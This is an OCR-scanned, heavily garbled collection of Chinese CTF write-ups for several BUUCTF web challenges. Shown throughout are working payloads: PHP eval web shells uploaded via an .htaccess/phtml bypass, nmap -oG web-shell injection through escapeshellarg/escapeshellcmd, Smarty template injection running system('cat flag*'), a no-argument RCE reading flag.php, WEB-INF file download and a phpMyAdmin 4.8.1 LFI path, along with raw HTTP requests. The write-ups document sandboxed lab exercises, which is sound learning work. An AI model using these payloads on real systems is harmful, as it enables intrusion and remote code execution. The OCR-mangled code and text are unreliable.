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[GXYCTF2019]BabyUpload 1 htaccess+phtml

4% htaccess Y 14F 5/ SetHandler application/x-httpd-php HAZE Content-Type: image/jpeg

POST FHTTP/.1

Host: c1h943be-35cd-4217-8a0d-4fdb95 el ed16.noded buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4, x64; nv93.0) Gecko/20100101 Firefox/93.0
Accept: text/htmlapplication/xhtml+xml,applicationfxml; =0.9 image/avif image/webp **,q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW;=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipartform-data; boundary=-------—cememeeeees 9143379358840265904192706355
Content-Length: 338

Crigin: http://e1b943be-35cd-4217-8a0d-4fdh95e1ed16. noded. buuej.cn:B1

Connection: close

Referer: http:/fc1b943be-35cd-4217-8a0d-4fdb35e 12416, noded. buugj.cn:81/

Cookie: UM_distinctid=17991e433cc182-017056200d5e33-4c3f2c72-144000-17991 e433cddea;
PHPSESSID=233b49e0calB86cabdB 11 6d5685253:0

Upgrade-Insecure-Requests: 1

----------------------------- 9143379356840265904122706355
Content-Disposition: form-data; name="uploaded"; filename="1.htaccess"

Content-Type| image/peg

............................. 9143379356840265904192706355
Content-Disposition: form-data; name="submit"

S

HTTP/1.1 200 CK

Server, openresty

Date: Tue, 12 Oct 2021 08:08:28 GMT
Content-Type: text/html

Content-Length: 350

Connection: close

Cache-Contral: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache

Vary: Accept-Encoding

¥-Powered-By: PHP/S E.23

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title=Upload</title>

<form action="" method="post" enctype="multipart/form-data">

bl o <input type="file" name="uploaded" />

<input type="submit" name="submit" value=" 1" />
<fform=Arar/www/html/upload/67380fff35d4e7h3c64d7 d628b 1660 ce/1.htaccess succesfully
uploaded!

CSDN


https://blog.csdn.net/weixin_54648419
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2R L AEphp—H)iE AR D <?php eval($_POST[qwer]);?>

<meta http-equiv="Content-Type" content="text/html; charset=utf8" />
<title=Upload</title=

=form action="" method="post" enctype="multipart/form-data"=
Ak S fF<input type="file" name="uploaded" />

<input type="submit" name="submit" value=" 1" />

<form=i, RIS, BobRE I R A php i

FIF phtmISC S, SR —A)iE AR D <script language="php">eval($_POST['qwer']);</script> , {HZIXH 5244 WA ke
FHph, Frbl AR EE

----------------------------- 14044810151940565725239717 1969 At B ff<input type="file" name="uploaded" />

Content-Disposition: form-data; name="uploaded"; filename="1.png" <input type="submit" name="submit" value="_[{5" />

Content-Type: imagefjpeg <fformz=fvar/wwwi/html/upload/67380fff35d4e7b3 cb4d7 d628b1660ce/1.png succesfully
uploaded!

GlIF89a

<script language="php">eval(§_POST['qwer]);</script>|
————————————————————————————— 14044810151940565725239717 1969
Content-Disposition: form-data; name="submit"

IR & B a2 PAT
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IO H gt —fflagfEml, BB, o o o KILZgititls, 481 GithackI\— T

GitHack.py 7c¢893848-5591-44ea-9378-2fa8f86acf2c.node4.buuoj.cn/.git/

7c893848-5591-44ea-9378-2faBf86acf2c.noded.buuoj.cn - File Manager

File Edit View Go Help

< r* M fhome/kali/GitHack/dist/7c893848-5591-44ea-
DEVICES

_ﬂ File System
PLACES

INTAEE, HT3hELgitindex F VRS XAREITE FH 7 M4SN RE, REOKEIRT)


https://github.com/lijiejie/GitHack

<?php

include "flag.php";

echo "flagfEMEHWe? <br>";
if(isset($_GET['exp'])){

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {

if(';!

preg_replace('/[a-z,_]+\((?R)?\)/"', NULL, $ GET['exp'])) {

if (!preg_match('/et|nalinfo|dec|bin|hex|oct|pi|log/i', $ GET['exp'])) {

// echo $ GET['exp'];
@eval($ GET['exp']);

}
else{
die("iEE—HH! ");
}
}
else{
die("FHAFAFAEAEL );
}
}
else{
die("i&Mikflag, RBH! ");
}
}
// highlight_file(__FILE__);
?>

=G AR, B T ANPR)SIH T RIA N, JREN 23R A

o TR IE L TS BRBORBEAT @ AT

localeconv() BREUR Bl —f& A7 K 07 kg (5 B 4.

scandir() %I images HFr BT H F,

readfile() #H—A3Ct,

current () REIFAFRYFTEIG, BIABEE—AME.

pos() current() B4,

next() ERECKAFIREEIBA R T — 0K, HiH.
array_reverse () A B 762 IF IR 91 504 .

highlight file()ITEN4Eek#EiR[E] filename SCAFH B R SERAS IACAY

ek 2T H SRS

?exp=print_r(scandir(current(localeconv())));

flag7EMRERNR?

R

2
H

NS HHI R, B =D — LR

Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => indexphp)

KR B2 KL [ flag.php, 4T KAy BUE Ve
1. BURJE R BUE

Uz array_reverse()
BUF—AME: next()

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));



2. S BB LA AL
S array flip()
BENLE4L: array_rand()

?exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));

[BUUCTF 2018]Online Tool 1 nmap+escapeshellarg/cmd

<?php

if (isset($ SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER[ 'REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];

}

if(lisset($ GET['host'])) {
highlight_file(__FILE_ );
} else {
$host $ GET[ 'host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $ SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

TS S nmap /N R 5

namp <?php phpinfo(); ?> -oG 1.php
ATLAS A A

nmap <?php phpinfo();> -oG 1.php\’
251 .php¢ A 1.php

H X B EHTE 4 escapeshellarg();escapeshellemd(); Wi BR# (B ##kseebug B H )

(IO =M 172.17.0.2" v -d a=1]

PRIV oscapeshellarg WSEI=Ri Ml '172.17.0.2°\"" -v -d a-1' MEEESGE=Cli=x=oVaEsI= 0]
SRAMmER D IERENTTREEEAER.

EREZI0 o5 capeshellond QISES=ERY " 172.17.0.2'\\" " -v -d a=1\" JEBEE=IEIWS escapeshellcmd kg] \ WA
REEABAEXILAYS [SHTTHENX: http://php.net/manual/zh
/function.escapeshellcmd.php

I S Sp RN curl '172.17.0.2°\\' ' v -d a-1\' SRR EEIEN \\ GiEEEys | [IENEEEC
FF, FRLAUSHOESEHEN, SESEIRECT) L T — 1 BiEER. FrLAILAETS
curl 172.17.0.2\ -v -d a=1' JEEIEI172.17.0.2\ poa iR L ORI -6y o1 B )

CSDIMN @YsterCee

H %4 Hpayload

?host=" <?php @eval($_POST["1"]);?> -0G 1l.php '
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you are in sandbox|72af0f31 al 22f73f83b4d553fc187323Ftarting Nmap 7.70 ( https://nmap.org ) at 2021-10-12 12:35 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 0.23 seconds Nmap
done: 0 IP addresses (0 hosts up) scanned In 0.23 seconds
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& O =s% wie O@tE NmE (amess Qus Owe Bei T oEsns 8 UBEF @ HackBar @ Max HackBar ) - X
Encryption ~ Encoding~ SQL~ XSS~ Other ~ Contribute now! HackBar v2
i Load URL http://ff3eacc2-35aa-40b9-8f25-36ba7fa2b3b5.node4 buuoj.cn:8 i{?host:‘ <?php @eval($_POST["1"]);?> -0G 1.php" |

CSDN @YsterCeg
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| Cookie: UM_distinctid=17991e433cc182-0170562b0d5e33-403f2c72-144000- 17991 e433cddea;
| JSESSIONID=9A3912AA74C31BC4AB9ABDDEBBIE7TID

POST /Download?filename=WEE-INF/classes/comiwm/ictiiFlagCaontroller class HTTR/A A &
Host: Sebf092b-e50e-4feB-8911-had0d521fl de.noded. buuoj.cn:g1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; n93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtrnl+xml application/xml; g=0.9 image/avif image/webp " ¢=0.8
Accept-Language: zh-CM zh;g=0.8 zh-TW,g=0.7 ,zh-HK;q=0.5 &n-US;q=0.3 en;q=0.2

Accept-Encoding: gzip, deflate
Connection: close

Upgrade-Insecure-Requests: 1
Content-Type: applicationf-www-form-urlencoded
Content-Length: O

B Ja 7EAR H 3% N Flflag

HTTP/A.1 200 0K

Server: openresty

Date: Tue, 12 Oct 2021 13:02:08 GMT

Content-Type: application/java

Content-Length: 872

Connection: close

Content-Disposition: attachment;filename=WEB-INF/classes/comfwm/ctiiFlagController.class

i+
oooo  Oooooooo

ID00"00flagO0bjavallang/String; 00<init>00()V00CodeO0OLineNumberTableO0doGetOR(Ljavax/s
enlet/http/Http SenlstRequest; Ljavax/senlet/hitp/HitpSenletResponse; V0

ExceptionsO#050

SourceFileOOFlagController javad0RuntimeVisibleAnnotationsO %Ljavax/sernvlet/annotation \WebSer
vlet; 00Oname00FlagCaontrolleradad <ZmxhZ3tiZDIzMGRA0ZSTIZWI LTRZDgtOGRMIO3NTISM2 Qly
MzgOMZRIC ==

OO0/ 400 chd oo i L L1

Converted text

Copy to clipboard

X O0javax/senlet/SenletExceptiond0javalio/lOException

rint¥WriterOOprint0 0 (Ljavallang/String; MOOO

Close

|ﬂag{bd230 dde-beh5-4cds-8de2-75297 d23843d}

L“ nooooooooooooooosaSh i @Y sterCo

# Nmap 7.70 scan initiated Tue Oct 12 12:45:05 2021 as: nmap -T5 -sT -Pn --host-timeout 2 -F -0G 1.php \ flag{e29a0660-3d2c-42a2-9a24-5639310bb423} \\ # Nmap done at Tue Oct 12 12:45:05
2021 -- 0 IP addresses (0 hosts up) scanned in 0.11 seconds

O D=8 Osas DEte NmE (deteEs QOus Dre B F cBSHES

Encryption ~ Encoding~ SQL~ XSS~ Other ~

%2 s @ HackBar ) Max HacKBar e X

Contribute now! HackBar v2

@ Load URL http:/ff3eacc2-35aa-40b9-825-36ba7 fa2b3b5.node4.buuoj.cn:81/72af0f3 1a122f73f83b4d5c3fc187323/1.php

§ splitURL

+) Execute

Postdata [ Referer [J User Agent [] Cookies Clear All

1=system('tac /*');

[RoarCTF 2019]Easy Java 1
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ol username
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n password

Login
help
CSDN @YsterCec
sidihelpfa N
C @ O 8 5ebf092b-e50e-4fe6-8911-bad0d521f14e.noded.buuoj.cn:81/Download?filename=help.docx

OI2 OwE OFE OFs Ow Ot Dbok (EHEE) CTREH.. D57 O SHEEM"BESH...

java. io. FileNotFoundException: {help. docx}

1 S Ephp Ik, WS javalty, SUEA SCIHMER IR AR . R MERAM— L [ kA

WebContent (H=EE=RE)
|---META-INF (META-INFIigsE)
| |---MANIFEST.MF (MANIFEST.MFECEiSEalE)
|---WEB-INF (WEB-INFIZ{&3E)
| |---web.xml (M5RELEweb.xml)
| |---lib (E=rFErrids)
| | |---*.jar (E=ZE25Tjara)
| |---classes (classEZi+BE)
| |---...%.class (class3zis)
|---<userdir= (BEYHIER)
| |---*.j5p,*.j5,*.c55 (BEYATEFEE)
|---<userfiles> (BEYRIEEVH)

CSDMN @YsterCec

/WEB-INF/web.xml: WeblFHFEfFELE X1, iR T servlet FIH At A4 ERLE Ky 4% A0

/WEB-INF/classes/: & VulisSifraHM class M, % servlet class FldEservlet class, fMIIARERSTE . jar bk
/WEB-INF/1ib/: {#/fiwebSiFH 75 Z M & FhIARSCAR, i EANAEX AL Bk A8 A i jar SO, i 2 R 3h jar S04
/WEB-INF/src/: Jih%H, %4250 E & javasit

/WEB-INF/database.properties: ¥ /&M & 1t

help T HNELBCAPOS Ty & B web xmi T [

POST /Download?’filename=WEB-INF/web.xml



POST /Download?filename=\WEB-INF/web.xml HTTP/.1

Host: 5ebfl92b-e50e-4fe6-5911-bad0d52ff1 4. noded. buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv93.0) Gecko/20100101 Firefox/93.0
Accept: text/htmlapplication/xhtml+xml,application/xml;q=0.9 image/avifimage/webp ** q=0.8
Accept-Language: zh-CN,zh;q=08,zh-TW;q=0.7 ,zh-HK; g=0.5 en-US; g=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: UM_distinctid=17991e433cc182-0170562b0d5e33-4c312c72-144000-179591e433cddea;
JSESSIONID=943912AA74C31BC4ABIABDDESBIST 79D

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: O

1EXT M classes H 3k H1 £ Fflag

T

<fsenlet>

<senlet-mapping>
<senlet-name>IndexController</semlet-name>
<url-pattern=/Index</url-pattemn>=

<fsenlet-mapping>

<senlat>
<senlet-name>LoginController</semlet-name>
<senlet-class>com.wm.ctf.LoginController</semlet-class>

<fsenlet>

<senlet-mapping>
<senlet-name>LoginController</semlet-name>
<url-pattern=/Login</url-pattzmn>=

<fsenlet-mapping>

<senlat>
<senlet-name>DownloadController</servlet-name>
<senlet-class>com.wm.ctf.DownloadController</serlet-class>

<fsenlet>

<senlet-mapping>
<senlet-name>DownloadController</servlet-name>
<url-pattern=/Download</url-pattern>

</senlet-mapping>

<senlet-name=FlagCentroller</servet-name>
<senlet-class>com.wm.ctf.FlagController</senlet-class>

<senlet-mapping>
<senlet-name=FlagCentroller</servlet-name>
<url-pattern=/Flag</url-pattern=
</senlet-mapping>

POST /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

POST /Download #ilename="WEB-INF/classes/comfwm/cti/FlagController.class HTTR/ 1
Host: 5ebfl92b-e50e-426-8911-had0d52f1 4e.noded. buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x84, nv93.0) Gecko/20100101 Firefox/93.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/avifimage/fwebp */*q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW,¢q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: UM_distinctid=17991e433cc182-0170562b0d5e33-4c312c72-144000-17931 e433cddea;
JSESSIONID=0A3912AA74C31BC4ABIABDDEBBIET 79D

Upgrade-Insecure-Requests: 1

Content-Type: application/s-www-form-urlencoded

Content-Length: 56

s

filename=WEB-INF/classes/comfwm/ctiiFlagController class

S P B B i T U RO B flag sk, PR BT

<servlet-class>

<servlet-mapping>

—AE <servlet-name> EXANELHHIMSKservlietiia—i
W= <url-pattern> B E XYLV E B

[ 58

CS5DM @YsterCec
R VIR PRTINY ~ 3
-
Copy to clipboard Close
flag{bd230d4 e-bebs-4cdB-8dc2-F5297 d23843d} [a
lass
4
[LJ u u || | Doz OR(Ljavax/s
ExceptionsO#050
SourceFileD0FlagController javaDORuntimeisibleAnnotations0 %Ljavax/senlet/annotation/\WebSer
vlet;00name00F lagContrallzrad a0 <ZmxhZ3tiZDIzMGQ0ZS1IZWI LTRjZDgt OGRjMIOINTISN2Cy
MzgOM2ZRICg==m
O%a&'D&<h1>Flag is nearby ~ Come on! |
l</h1=0(a"00javax/senlet/http/HitpSenvletO0javax/senlet/SernvletException00javalio/lOException
O&javax/senvlet/http/HttpServietResponsed e

SO @Y et
getWriterD O ()Ljavalio/PrintWriter; 0 0javalio/Print\WriterD O printO0O(L a\rai’langfb"‘trfﬂ'ﬁ;)\'ﬂﬁ& E" -

AEFER], XHEA - MRZERIR A

AR FAIET N W serviet ML, kit

e FH SR C B IR B AL AR 7 ) R AR, B TR RLHE P19 5

<servlet-name> XAEIRATET MservietiZ s, —HkiRServlietLH %

M5
<servlet>
<servlet-name>LoginServlet</servlet-name>

<servlet-class>com.breeze.servlet.LoginServlet</servlet-class>

</servlet>




[BJDCTF2020]The mystery of ip1

<h3>Welcome to BJDCTF 2020.Happy Game!</h3>
{!— Do you know why i know your ip? —>

{div class="shaky” style="font-size:20px:">(.-V-)/
D O=Es Drte OEtE NRE (JexeEs QOus O ns 056

Encryption ~ Encoding~ SQL ~ XSS~ Other ~

view-source:http://node4.buuoj.cn:29792/hint.php

an

CSDN @YsterCoo

burpUEL s INX-Forwarded-Fork It {5 °4127.0.0.1, K ILIPHE 4

I I T M e e et 1

SELMMLT MMM el e e LTI e e R - R b k- B
Cookie: UM_distinctid=17 d40a29a1396b-02ffcacdcl ab568-4c3e217 e-144000-17 d40a29a1592e <li class=""»<a href="hint. php"=Hint</a=</li>
¥-Forwarded-For: 127.0.0.1 <ful=
Upgrade-Insecure-Requests: 1
DNT: 1 <ul class="nav navhar-nav navbar-right ul-head2">
Sec-GPC: 1 <li class=""><a href="index.php">@Shana</a></li>

<ful=
<(div=
</div=>
</nav=<div class="container panel1">
<div class="row"=
<div class="col-md-4">
<fdiv=
<div class="col-md-4">
<div class="jumbotron pan"=
<div class="form-group log">
<lahelz<h2=Your IP is : 127.0.0.1
/s </labal> CSDN @YsterCec
FARBAREA

X-Forwarded-For: {{3*3}}
Upgrade-Insecure-Requests: 1
DNT: 1

Sec-GPC:1

<li class=""><a href="hint. php">Hint</a></li>
<ful=

<ul class="nav navbar-nav navbar-right ul-head2">
<li class=""><a href="index.php">@Shana</a></li=
<ful=
<fiiv=
<fdiv>
</nave<iiv class="container panel1">

<div class="row">

<div class="col-md-4">

<(div=

<div class="col-md-4">

<div clags="jumbaotron pan">

<div class="form-group log"=
<label><f25kdlk i iErCoC

H% cat flag*, BN HflagfE ke /I,


https://www.cnblogs.com/echoDetected/p/13052378.html

ALLEPLLAlYUAY . L1 S YU S DYV YT S, YU BT Y B Y S
Accept-Encoding: gzip, deflate

Connection: close

Referer: http:/inoded. buucj.cn:29792/hint. php

Cookie: UM_distinctid=17d40a29a1396b-02ffcacdel ab568-4c3e217 e-144000-17 d40a29a1592e
X-Forwarded-For: {{system("cat flag™")}}

Upgrade-Insecure-Requests: 1

DNT: 1

Sec-GPC: 1

BHEALER H 3% Fcat flag# Filflag

UL, LIV UESLHTL LU= 1 WS Ea T |00 U e Ll | 005 LB | B LS00 | UsU oD 0L

CLIENT-IP: {{system("cat Mlag™)}}
Upgrade-Insecure-Requests: 1
DNT: 1

Sec-GPC: 1

X g R L CLIENT-IP 5 X-Forwarded-For#fs i) L3z il % A\

[GWCTF 2019137 — > %4 e 1

PR
require_once(header.php’;

require_once( . /libs/Smarty.class.php);
$smarty = new Smarty();
if (lempty(5_SERVER[HTTP_CLIENT_IF))
{

$ip=§_SERVER[HTTP_CLIENT_IPT;
}
elseif (lernpty (§_SERVER[HTTP_X_FORWARDED_FORT)
{

Bip=%_SERVER[HTTP_X_FORWARDED_FORT,
}
else
{

$ip=%_SERVER[REMCTE_ADDRT;
i
H¥your_ip = $smarty->display(“string:".$ip);
echo "<div class=\"container panel1\">

<div class=\"row\"> _
<div class=\"colmA B[ @ s5tErCo0

Ul

<ul class="nav navbar-nav navbar-right ul-head2":
<li class=""><a href="index php">@Shana</a></li>
<ul=
</div=
<filiv=
</nav=<div class="container panel1">

<div class="row"=>

<div class="colmd-4">

</div=

<div class="col-md-4"=

<div class="jumbotron pan">

<div class="form-group log"=
<label=<hZ=Your IP is :

flag{ad87 eazb-5cf2 4489 9a9b-ce6f298b149a}
flag{ad87 ea2b-5cf2 4d89 9a9b-ce6f298b149a} </h2=<

<fdiv> CSDN @YsterCcc

BEAMEGIA 7 — Frobots.txt, &K IMphpinfo.php. 22X 7 — Fphpmyadmin, &I SEAFEIX AN DU H 60X BB S 2

phpmyadmind.8.1 /5 & 4T & S & i

phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag
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